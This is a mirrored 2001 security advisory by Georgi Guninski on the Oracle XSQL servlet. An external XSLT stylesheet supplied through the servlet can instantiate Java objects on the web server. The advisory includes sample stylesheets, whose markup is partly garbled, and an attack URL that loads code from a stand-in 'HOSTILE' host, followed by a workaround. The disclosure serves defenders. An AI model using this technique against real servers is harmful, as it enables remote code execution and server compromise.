[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
 
 discussions
- read forum
- new topic
- search
 

 meetings
- meetings list
- recent additions
- add your info
 
 top 100 sites
- visit top sites
- sign up now
- members
 
 webmasters

- add your url
- add domain
- search box
- link to us

 
 projects
- our projects
- free email
 
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : Oracle XSQL servlet and xml-stylesheet allow executing java on the web server

Title: Oracle XSQL servlet and xml-stylesheet allow executing java on the web server
Released by: Georgi Guninski
Date: 9th January 2001
Printable version: Click here
Georgi Guninski security advisory #34, 2001



Oracle XSQL servlet and xml-stylesheet allow executing java on the web server



Systems affected:

Oracle XSQL servlet, installed by default Oracle 8.1.7 Windows 2000installation,

probably other versions/platforms are affected because the servlet is written in java



Risk: High

Date: 9 January 2001



Legal Notice:

This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified.

You may not modify it and distribute it or distribute parts of it without the author's

written permission.



Disclaimer:

The opinions expressed in this advisory and program are my own and not of any company.

The usual standard disclaimer applies, especially the fact that Georgi Guninski

is not liable for any damages caused by direct or  indirect use of the information

or functionality provided by this advisory or program.

Georgi Guninski bears no responsibility for content or misuse of this advisory or program or

any derivatives thereof.





Description:

To get an idea for the XSQL servlet I suggest reading:

http://technet.oracle.com/tech/xml/xsql_servlet/htdocs/relnotes.htm

The XSQL servlet allows specifying external xslt stylesheets which may reside anywhere.

The problem is it is possible to execute java on the web server in the xslt stylesheet.

Executing java on the web server may lead to compromising it.



Details:



Oracle allows extensions to the built in xslt functions using the xmlns

"http://www.oracle.com/XSL/Transform/java/".

Using this namespace it is possible to instantiate java objects and execute their methods.



Sample xslt stylesheets:

--ora.xsl---string function, almost no effect---------------



http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.lang.String" version="1.0">





Written by Georgi" target="_new">http://www.guninski.com">Georgi Guninski

Java demo.

------------------------------------------------------------ --ora2.xsl----creates a file ------------------------------- http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.io.File" version="1.0">

Written by Georgi" target="_new">http://www.guninski.com">Georgi Guninski

File "c:\winnt\georgigjava" created=

----------------------------------------------------------- Assuming that http://XSQL-SERVER/EXISTING.xsql exists and is configured (there are installed .xsql demos in /xsql/java/demo/), the following URL: ---------------------------------------------------------------------- http://XSQL-SERVER/EXISTING.xsql?xml-stylesheet=http://HOSTILE/ora.xsl ---------------------------------------------------------------------- will execute java from http://HOSTILE/ora.xsl (see example stylesheets above) on XSQL-SERVER. This work on default Oracle 8.1.7 install, I only needed to adjust the database name in the servlet config file. Workaround: Add 'allow-client-style="no"' on the document element of every xsql page. I think this should be the default behavior. Vendor status: Oracle was contacted on 4 January 2001. They responded very promptly and shall issue a patch "over the next few days". Regards, Georgi Guninski http://www.guninski.com






(C) 1999-2000 All rights reserved.